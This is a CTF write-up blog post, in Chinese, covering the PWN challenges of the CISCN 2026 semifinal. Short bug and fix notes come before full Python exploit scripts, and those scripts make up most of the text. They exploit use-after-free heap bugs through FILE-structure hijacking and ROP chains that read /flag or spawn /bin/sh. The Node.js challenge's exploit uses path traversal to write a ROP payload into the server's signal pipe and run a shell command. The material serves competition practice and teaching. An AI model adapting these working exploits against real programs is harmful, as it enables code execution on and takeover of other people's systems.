ciscn-2026-半决赛

ciscn-2026-半决赛

InkeyP Lv3

CISCN 2026 半决赛 PWN 全题解

broken_manager

漏洞很明显,uaf

fix

fix有点抽象,把原本的清空size改成清空chunk即可

break

程序是自己实现的内存管理器

1
2
3
4
5
6
7
8
9
10
11
12
13
struct Arena {  // sizeof = 0x40 (64 bytes), 位于 BSS 0x5060
uint64_t magic; // +0x00: 0xCCEE7700DDBBCCAA
uint64_t base_mask; // +0x08: mmap_base & 0xFFFFFFFF00000000
// 保存mmap地址的高32位,低32位为0
uint32_t xor_key; // +0x10: 从/dev/random读取的4字节随机密钥
uint32_t remaining; // +0x14: 当前bump区域剩余字节数
uint32_t total; // +0x18: arena总大小 (0x4000)
uint32_t _pad; // +0x1C: 对齐填充
Arena* next; // +0x20: 下一个arena (双向链表)
Arena* prev; // +0x28: 上一个arena
void* mmap_base; // +0x30: 本arena的mmap映射基地址
uint32_t* freelist; // +0x38: 指向freelist数组(32个DWORD)
};

free_list存储指针是main_arena.base_mask ^ (ptr ^ main_arena.xor_key)

即free_list只存储指针低位,还是异或过的

同时,程序使用sigaction注册了SIGSEGV崩溃时输出地址并重启

所以攻击思路是,uaf直接泄露enc1(high_mask ^ (ptr ^ xor1_key)),写错误地址V崩溃泄露enc2(high_mask ^ (V ^ xor1_key))

可求得high_mask xor1_key,再通过enc1求得ptr,这样就得到完整的heap地址了

此时程序重启,重新生成xor_key,记为xor2_key

uaf泄露enc3(high_mask ^ (ptr ^ xor2_key)),求得xor2_key

后面就是uaf打stdout(逃课check,直接puts触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>> '


def add(idx, size, data):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'Size', str(size))
if data == b'ik':
return
sa(b'Content: ', data)


def dele(idx):
sla(IAT, b'2')
sla(b'Index: ', str(idx))


def edit(idx, data):
sla(IAT, b'4')
sla(b'Index', str(idx))
sa(b'Content: ', data)


def show(idx):
sla(IAT, b'3')
sla(b'Index: ', str(idx))


cmd = '''
brva 0x1B8D
brva 0x1CBE
brva 0x1D88
brva 0x1E6A
ida
set $h = $rebase(0x5060)
c
# handle SIGSEGV nostop noprint pass
'''

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc1 = u64_ex(r(4))
leak_ex2(enc1)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64(0xDEADBEEF))
add(4, 0x100, b'e')
add(5, 0x100, b'ik')

ru(b'Invalid ptr access: ')
enc2 = int(rl(), 16)
leak_ex2(enc2)
high_mask = enc2 >> 32 << 32
leak_ex2(high_mask)
low_key = (enc2 ^ 0xDEADBEEF) & 0xFFFFFFFF
leak_ex2(low_key)
heap_base = ((enc1 ^ low_key) | high_mask) >> 8 << 8
leak_ex2(heap_base)

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc3 = u64_ex(r(4))
leak_ex2(enc3)
low_key = ((heap_base + 0x40C4) ^ enc3) & 0xFFFFFFFF
set_current_libc_base_and_log(libc_base := heap_base + 0x1EF00)
leak_ex2(low_key)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64((libc.sym._IO_2_1_stdout_ & 0xFFFFFFFF) ^ low_key))
add(4, 0x100, p64(0x666))

_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
{
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0x70: 0, # _fileno
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xC0: p32(0xFFFFFFFF), # _mode < 0
0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
},
filler=b"\x00",
)
launch_gdb(cmd)
add(5, 0x100, payload)

# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
s(
flat(
{
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
filler=b"\x00",
)
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = CG.find_gadget("4C89EA5B415C415D5DC3", find_type="opcode")
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 5, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])

# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
flat(
{
0: rop_payload,
(0x1C8 - 0xC8): {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8), # _IO_read_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
},
filler=b"\x00",
)
)

ia()

catchme

漏洞同意明显,uaf

fix

break

house of storm打free_hook ogg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './catchme')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
while True:
io = process(elf_path)
with open(f'/proc/{io.pid}/maps') as f:
elf_base = int(f.readline().split('-')[0], 16)
print(f'elf_base: {hex(elf_base)}')
if elf_base >> 40 == 0x56:
gift.io = io
break
io.close()
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>>\n'


def add(size):
sla(IAT, b'1')
sla(b'choose your creature type', str(size))


def dele(idx):
sla(IAT, b'2')
sla(b'index', str(idx))


def edit(idx, data):
sla(IAT, b'4')
sla(b'index', str(idx))
sa(b'set tag:\n', data)


def show(idx):
sla(IAT, b'3')
sla(b'index', str(idx))


def clear(idx):
sla(IAT, b'6')
sla(b'index', str(idx))


cmd = '''
brva 0xC4A
brva 0xC86
brva 0xCC4
brva 0xE20
brva 0xF1C
brva 0x104A
brva 0x10EE
set $h = $rebase(0x202060)
# dir /mnt/f/Documents/CTF/glibc/glibc-2.27/malloc
# brva 0x945F1 libc-2.27-3ubuntu1.6.so.6
c
'''

for i in range(7):
add(3)
dele(0)
clear(0)

add(2)
add(3)
add(1)
add(3)
dele(2)
show(2)
ru(b'tag:')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
dele(0)
# show(0)
# ru(b'tag:')
# heap_base = u64_ex(ru(b'\n', drop=1))
# log_heap_base_addr(heap_base)
clear(0)
add(2)
dele(0)

fake_addr = libc.sym.__free_hook - 0x18
edit(0, p64(fake_addr))
edit(2, p64(fake_addr + 0x8) + p64(0) + p64(fake_addr - 0x18 - 5))
clear(1)
launch_gdb(cmd)
add(3)
edit(1, p64(libc_base + 0x4F302) * 3)
dele(2)

ia()

easy_rw_revenge

漏洞也是uaf

md5是strcmp,爆破前三位即可

size是有符号比较,没有做malloc失败的处理逻辑

fix

应该是把比较改成无符号比较(比赛时未做出)

break

同样是打io,house of some泄露 environ打rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *
import hashlib

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path, level='info')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

USERNAME_CACHE = "15772770"


def find_username():
global USERNAME_CACHE
if USERNAME_CACHE:
return USERNAME_CACHE
target = b'\x64\x40\x00'
log.info("Brute-forcing username (need MD5 prefix 644000) ...")
for i in range(0x10000000):
name = str(i).encode()
if hashlib.md5(name).digest()[:3] == target:
USERNAME_CACHE = name.decode()
log.success(f"Found username: '{USERNAME_CACHE}' (MD5: {hashlib.md5(name).hexdigest()})")
return USERNAME_CACHE
log.error("Username not found!")
sys.exit(1)


USERNAME = find_username()


def send_req(cmd, param1="", param2="", data=b""):
"""Each request needs a fresh TCP connection to the RTSP server."""
io = remote("127.0.0.1", 7777, level='debug')
payload = f"rtsp://{USERNAME}/".encode()
payload += b"{" + cmd.encode() + b":" + param1.encode() + b":" + param2.encode() + b":" + data + b"}"
io.send(payload)
try:
resp = io.recv(0x2000, timeout=300)
except:
resp = b""
io.close()
return resp


def add(idx, size, data=b"A"):
resp = send_req("add", str(size), str(idx), data)
if b"ADD_SUCCESS" in resp:
return True
log.warning(f"add({idx}, {size}): {resp}")
return False


def dele(idx):
resp = send_req("delete", str(idx))
if b"DEL_SUCCESS" in resp:
return True
log.warning(f"dele({idx}): {resp}")
return False


def edit(idx, data):
resp = send_req("edit", str(idx), "", data)
if b"EDIT_SUCCESS" in resp:
return True
log.warning(f"edit({idx}): {resp}")
return False


def show(idx):
return send_req("show", str(idx))


cmd = '''
brva 0x1922
brva 0x1BC6
brva 0x1D28
brva 0x1A98
brva 0x1915
set $h = $rebase(0x5040)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
b genops.c:701
c
dis 6
brva 0x2a3e5 ./libc-2.35-0ubuntu3.13.so.6
b read
c
'''

for i in range(8):
add(0, 0x18, b'')

data = show(0)
libc_base = u64_ex(data[0:8]) - 0x21AC00
set_current_libc_base_and_log(libc_base)
heap_base = u64_ex(data[8:16]) - 0x7D0
log_heap_base_addr(heap_base)

add(0, 0x5E8, b'a')
add(1, 0x5F8, b'a')
add(2, 0x5D8, b'a')
add(3, 0x5F8, b'a')

add(0, -1, b'a')
add(4, 0x5F8, b'a')
add(2, -1, b'a')

edit(0, p64(libc.sym._IO_list_all - 0x20) * 4)
add(5, 0x5F8, b'a')

fake_IO_FILE = heap_base + 0x1FA0
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
payload = hos.hoi_read_file_template(fake_IO_FILE + 0x100, 0x400, fake_IO_FILE + 0x100, 4)
edit(2, payload[0x10:])
launch_gdb(cmd)
io = remote("127.0.0.1", 7777, level='debug')
payload0 = f"rtsp://{USERNAME}/".encode()
payload0 += b"{" + 'delete'.encode() + b":" + str(0x114).encode() + b":" + ''.encode() + b":" + data + b"}"
io.send(payload0)
pause()
payload2 = hos.fake_file_write_template(libc.sym._environ, libc.sym._environ + 0x10, fake_IO_FILE + 0x200, 4).ljust(0x100)
payload2 += hos.hoi_read_file_template(fake_IO_FILE + 0x300, 0x400, fake_IO_FILE + 0x300, 4)
io.send(payload2)
stack = u64_ex(io.recvuntil(b'\x7f', timeout=999)[-6:]) - 0x22F0
leak_ex2(stack)
payload3 = hos.hoi_read_file_template(stack, 0x400, 0, 4)
io.send(payload3)
rop = ROP(libc)
rop.base = stack
rop.call('open', [stack + 0x110, 0])
rop.call('read', [5, stack - 0x400, 0x100])
rop.call('write', [4, stack - 0x400, 0x100])
log_ex(rop.dump())
pause()
io.send(b'/flag'.ljust(0x10, b'\x00') + rop.chain().ljust(0x100, b'\x00') + b'/flag\x00')
io.interactive()

ia()

minidb

漏洞在set(),没有检查引用计数就直接free

fix

比赛没出,不知道checker咋写的

break

poc

1
2
3
4
5
6
7
8
9
set('A', 'd0')
multi()
set('A', '1' * 0x100)
clone('A', 'B')
set('A', 'd2')
exec_()
set('C', '3' * 0x100)
launch_gdb(cmd)
get('B')

exp写的有点神志不清,凑合看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def hash(s):
if isinstance(s, str):
s = s.encode()
i = 5
for j in range(len(s)):
i = 0x21 * i + int(s[j])
i = i & 0x3F
log_ex(f'str: {s}\nhash: {i:#x}')


def set(val, data):
if isinstance(val, str):
val = val.encode()
if isinstance(data, str):
data = data.encode()
sla(b'> ', b'SET ' + val)
hash(data)
sa(b'Value> ', data)


def get(val):
if isinstance(val, str):
val = val.encode()
sla(b'> ', b'GET ' + val)


def clone(val1, val2):
if isinstance(val1, str):
val1 = val1.encode()
if isinstance(val2, str):
val2 = val2.encode()
sla(b'> ', b'CLONE ' + val1 + b' ' + val2)


def multi():
sla(b'> ', b'MULTI')


def exec_():
sla(b'> ', b'EXEC')


def abort_():
sla(b'> ', b'ABORT')


def fake_tcache(size_info):
TCACHE_MAX_BINS = 64
counts = bytearray(TCACHE_MAX_BINS * 2)
entries = bytearray(TCACHE_MAX_BINS * 8)

for size, (count, address) in size_info.items():
bin_index = (size >> 4) - 2
if 0 <= bin_index < TCACHE_MAX_BINS:
counts[bin_index * 2] = min(count, 255)
addr_bytes = struct.pack('<Q', address)
entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

tcache_struct = counts + entries
return tcache_struct


cmd = '''
brva 0x1355
brva 0x16F4
brva 0x17C7
# set
brva 0x1948

# brva 0x1CF3
brva 0x1891
# clone

brva 0x1A70
# exec free
set $h = {void *}$rebase(0x4050)
set $i = *(void **)((char *)$h + 0x200)
ida
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''

set('A', 'a' * 0x10)
multi()
set('A', 'a' * 0x500)
clone('A', 'B')
set('A', 'a' * 0x10)
exec_()
set('C', 'c' * 0x510)
get('B')
ru(b'VAL: ')
heap_base = u64_ex(ru(b'\n', drop=1)) - 0x560
log_heap_base_addr(heap_base)
set('D', 'd' * 0x300)

set('E', 'e' * 0x10)
multi()
set('E', 'e' * 0x500)
clone('E', 'F')
set('E', 'e' * 0x10)
exec_()
set('C', 'c' * 0x10)
get('F')


set('G', 'g' * 0xB0)
set('H', p64(2).ljust(0x4D0, b'a'))
set(p64_ex(-56), 'i' * 0x200)
set('F', 'f' * 0x10)
set('D', b'J' * 0x10 + p64(0) + p64(heap_base + 0x10))
get('\x01')
set('\x01', 'k' * 0x10)
set('D', fake_tcache({0x40: (0, 0), 0x110: (1, heap_base + 0x10), 0x100: (1, heap_base + 0xA80)})[0x10:].ljust(0x270, b'\x00'))
# p64(u64_ex(b'B')) + p64(0) * 4 + p64(heap_base + 0x0)
set(
'A',
(
flat(
{
0x0: b'B',
0x28: heap_base + 0xB30,
0x68: 0x41,
0x70: b'H',
0x98: heap_base + 0xB40,
0xA8: 0x4F1,
0xB0: 1,
0xB8: 0x4D0,
},
filler=b'\x00',
)
).ljust(0xE0, b'\x00'),
)
set('H', 'h' * 0x10)
get('B')
ru(b'VAL: ')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)
set('E', fake_tcache({0xF0: (1, heap_base + 0xA80), 0x110: (1, heap_base + 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
set(
'C',
flat(
{
0x0: b'B',
0x28: libc.sym.environ - 0x10,
0x98: 0x51,
},
filler=b'\x00',
length=0xD0,
),
)
get('B')
ru(b'VAL: ')
stack = u64_ex(ru(b'\n', drop=1)) - 0x8 - 0x1338 - 0x50
leak_ex2(stack)
set('D', fake_tcache({0x110: (1, libc.sym._IO_2_1_stdout_ - 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
rop = ROP(libc)
rop.raw(rop.ret)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
fake_IO_FILE = libc.sym._IO_2_1_stdout_
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
launch_gdb(cmd)
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
{
0x0: 0x8000, # disable lock
0x38: stack, # _IO_buf_base
0x40: stack + 0x1C8, # _IO_buf_end
0x70: 0, # _fileno
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xC0: p32(0xFFFFFFFF), # _mode < 0
0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
},
filler=b"\x00",
)
set('G', payload.ljust(0xF0, b'\x00'))
log_ex(rop.dump())
pause()
s(rop.chain())

ia()

UpNodeTrap

https://i0.rs/blog/engineering-a-rop-chain-against-node-js/

https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/

https://2024.hexacon.fr/slides/Schiller-ExploitingFileWrites.pdf

https://hackerone.com/reports/2260337

https://github.com/libuv/libuv/issues/4581

原题出题,这出题这么水的吗……

抄个国际赛就是自己的美美恰米……

fix

check以下..就过了,checker很神奇吧……

1
2
3
if (filename.includes('..')) {
return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
}

break

路径越界读,打uv__signal_event

ai注释

exp是参考的博客里的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
from pwncli import *
import requests
import json

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
TARGET = f'http://{ip}:9999'
else:
gift.io = process([elf_path, './app.js'])
TARGET = 'http://localhost:9999'
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
dir ./node-v25.8.0
c
'''
launch_gdb(cmd)


'''
Pivot: fake handle at 0x2777d78 in .text
handle+0x58 flags = 0x00 (bit0=0, passes check)
handle+0x60 signal_cb -> 0xe883c7 = pop rbx; pop r14; pop r15; pop rbp; ret
handle+0x68 signum = 0x415b0000

Stack at call [handle+0x60]:
RSP = &buf[0], call pushes ret_addr -> RSP = &buf[-8]
Gadget pops: ret_addr->rbx, buf[0]->r14, buf[8]->r15, buf[16]->rbp
Then ret -> buf[24] = first ROP gadget
'''
PIVOT_HANDLE = 0x2777D78
SIGNUM = 0x415B0000

POP_RAX = 0x7B4F27 # pop rax; ret
POP_RDI = 0x23D1441 # pop rdi; ret
POP_RSI = 0x1164803 # pop rsi; ret
POP_RDX = 0x1271F47 # pop rdx; ret
MOV_GADGET = 0x1350624 # mov [rdi], rsi; pop rbp; ret
SYSCALL = 0x1022638 # syscall
RET = 0x780236 # ret

# Writable section (first RW LOAD: 0x3FF000-0x75B8F0)
RW_SECTION = 0x501010


def upload(filename, content):
if isinstance(content, bytes):
content = content.decode('latin-1')
data = json.dumps({"filename": filename, "content": content})
r = requests.post(f'{TARGET}/upload', data=data, headers={'Content-Type': 'application/json'})
log.info(f"upload '{filename}' => {r.status_code}: {r.text[:100]}")
return r


def write_pipe(fd, payload):
traversal = f'../../../../../../../../../../../../../../../../../../../proc/self/fd/{fd}'
return upload(traversal, payload)


def gadget_write_at(addr, qword):
"""Write qword to addr using mov [rdi], rsi; pop rbp; ret."""
if isinstance(qword, bytes):
qword = qword.ljust(8, b"\x00")
yield POP_RDI
yield addr
yield POP_RSI
yield qword
yield MOV_GADGET
yield RW_SECTION # junk for pop rbp


def gadget_create_string(addr, s):
s = s.encode() + b"\x00"
for i in range(0, len(s), 8):
yield from gadget_write_at(addr + i, s[i : i + 8])


PIPE_WR_FD = 18 # signal_pipefd[1] write-end (confirmed via test_pipe.py)

argv = [RW_SECTION + 0x100, RW_SECTION + 0x200, RW_SECTION + 0x300]
argv_arr = RW_SECTION

COMMAND = "touch ./success"

payload = flat(
[
# --- uv__signal_msg_t (16B, consumed by pivot gadget pops) ---
PIVOT_HANDLE, # msg.handle -> pop r14
p32(SIGNUM) + p32(0), # msg.signum + pad -> pop r15
RW_SECTION, # junk -> pop rbp
# --- ROP chain (starts at buf[0x18], ret lands here) ---
# Write execve args to RW section
*gadget_create_string(argv[0], "/bin/sh"),
*gadget_create_string(argv[1], "-c"),
*gadget_create_string(argv[2], COMMAND),
# Build argv[] = {"/bin/sh", "-c", cmd, NULL}
*gadget_write_at(argv_arr + 0x00, argv[0]),
*gadget_write_at(argv_arr + 0x08, argv[1]),
*gadget_write_at(argv_arr + 0x10, argv[2]),
*gadget_write_at(argv_arr + 0x18, 0),
# execve("/bin/sh", argv, NULL)
POP_RAX,
constants.SYS_execve,
POP_RDI,
argv[0],
POP_RSI,
argv_arr,
POP_RDX,
0,
SYSCALL,
]
)

log.info(f"Payload: {len(payload)}/512 bytes ({len(payload)*100//512}%)")
assert len(payload) <= 512, f"Payload too large: {len(payload)}"
assert all(b <= 0x7F for b in payload), "Payload has non-UTF8 bytes"
log.success(f"Payload OK ({len(payload)}B)")

ru(b'Server running on http://localhost:9999')

try:
write_pipe(PIPE_WR_FD, payload)
except Exception:
log.success("Server execve'd — connection dropped as expected")

sleep(0.5)
ia()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
"""
Enumerate Node.js pipe fds and find the signal pipe write-end.
Writes 16 bytes to each pipe fd — the signal pipe will crash the server.
"""
import subprocess
import time
import requests
import json
import os

TARGET = "http://localhost:9999"
BINARY = "./pwn"
APP = "./app.js"
CWD = "/mnt/f/OneDrive/Pwn/ciscn2026SF/UpNodeTrap"


def upload(fd, content="X"):
path = f"../../../../../../../proc/self/fd/{fd}"
data = json.dumps({"filename": path, "content": content})
return requests.post(f"{TARGET}/upload", data=data,
headers={"Content-Type": "application/json"}, timeout=5)


def main():
print("[*] Starting server...")
proc = subprocess.Popen(
[BINARY, APP], cwd=CWD,
stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
time.sleep(2)
pid = proc.pid
print(f"[*] PID: {pid}")

# List fds
fd_dir = f"/proc/{pid}/fd"
print(f"\n[*] File descriptors:")
pipe_fds = []
for name in sorted(os.listdir(fd_dir), key=lambda x: int(x)):
try:
link = os.readlink(f"{fd_dir}/{name}")
print(f" fd {name:>3s} -> {link}")
if "pipe:" in link:
pipe_fds.append(int(name))
except:
pass

# Health check
try:
r = requests.get(f"{TARGET}/health", timeout=3)
print(f"\n[*] Health: {r.status_code}")
except:
print("[!] Server not responding")
proc.kill()
return

# Test each pipe fd
print(f"\n[*] Testing pipe write-ends: {pipe_fds}")
print(" Writing 16 bytes 'A' to each — signal pipe will crash server\n")

for fd in pipe_fds:
try:
r = upload(fd, "A" * 16)
print(f" fd {fd:2d}: {r.status_code} (server survived)")
except requests.exceptions.ConnectionError:
print(f" fd {fd:2d}: CONNECTION LOST — server crashed!")
time.sleep(0.5)
try:
requests.get(f"{TARGET}/health", timeout=2)
print(f" (but server recovered?)")
except:
print(f" >>> fd {fd} is the signal pipe write-end! <<<")
break

proc.terminate()
try:
proc.wait(timeout=3)
except:
proc.kill()
print("\n[+] Done.")


if __name__ == "__main__":
main()

ISW 见 403攻防人 公众号

灌注403攻防人喵,灌注403攻防人谢谢喵

  • 标题: ciscn-2026-半决赛
  • 作者: InkeyP
  • 创建于 : 2026-03-24 21:12:59
  • 更新于 : 2026-03-25 16:17:01
  • 链接: https://blog.inkey.top/202603/24/ciscn-2026-半决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论